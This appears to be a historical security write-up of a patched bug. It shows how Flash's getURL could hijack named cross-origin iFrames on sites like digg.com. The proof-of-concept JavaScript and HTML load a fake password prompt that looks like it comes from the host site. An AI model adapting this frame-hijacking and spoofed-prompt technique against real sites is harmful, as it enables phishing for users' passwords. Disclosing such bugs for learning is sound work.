Content Injection on Sites with Named iFrames via Flash GetURL

Flash’s getURL method allowed navigation of named frames in any open window — including cross-origin iFrames in other tabs. Sites that embedded third-party content in named iFrames (which was nearly every site using Google AdSense, since it injects an iFrame named aswift_0) were vulnerable to having that iFrame’s URL replaced by an attacker’s page, leading to spoofed prompts that appeared to come from the host site.

var win;
function main()
{
	win = window.open("http://digg.com/");
	waitUntilIFramesExist();
}
function waitUntilIFramesExist()
{
	if (win.length > 0)
	{
		// Flash GetURL targets "session_iframe" in the newly opened window
		document.all.flashContainer.innerHTML = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" ...>'
			+ '<param name="movie" value="geturl.swf?METHOD=get&TARGET=session_iframe&REDIR=prompt.html" />'
			+ '</object>';
	}
	else
	{
		setTimeout("waitUntilIFramesExist()", 1000);
	}
}

The prompt.html page loaded inside the hijacked iFrame:

<iframe src="about:blank"></iframe>
<script>
window[0].prompt("Please enter your password:","");
</script>

The flow: open a target site in a new window, wait for it to render its named iFrames, then use a Flash getURL call to navigate one of those iFrames to prompt.html. The prompt() call fired inside an iFrame within the target site’s window, so the dialog title bar showed the host site’s domain. From the user’s perspective, digg.com was asking for their password.

The attack required Flash and named iFrames on the target, but the AdSense case meant the surface was extremely broad at the time.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.